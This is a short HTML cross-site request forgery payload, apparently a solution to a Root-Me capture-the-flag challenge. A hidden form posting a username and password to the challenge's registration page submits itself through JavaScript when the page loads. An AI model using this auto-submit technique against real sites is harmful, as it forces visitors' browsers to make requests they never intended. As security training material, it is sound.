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<form name="test" action="http://challenge01.root-me.org/realiste/ch16/?page=register.php" method="post">
<div class="form-group">
<label>Username</label>
<input type="username" class="form-control" name="username" placeholder="testos" />
</div>
<div class="form-group">
<label>Password</label>
<input type="password" class="form-control" name="password" placeholder="testos" />
 </div>
 <button type="submit" class="btn btn-default">Submit</button>
</form>
<script language="javascript">document.test.submit();</script>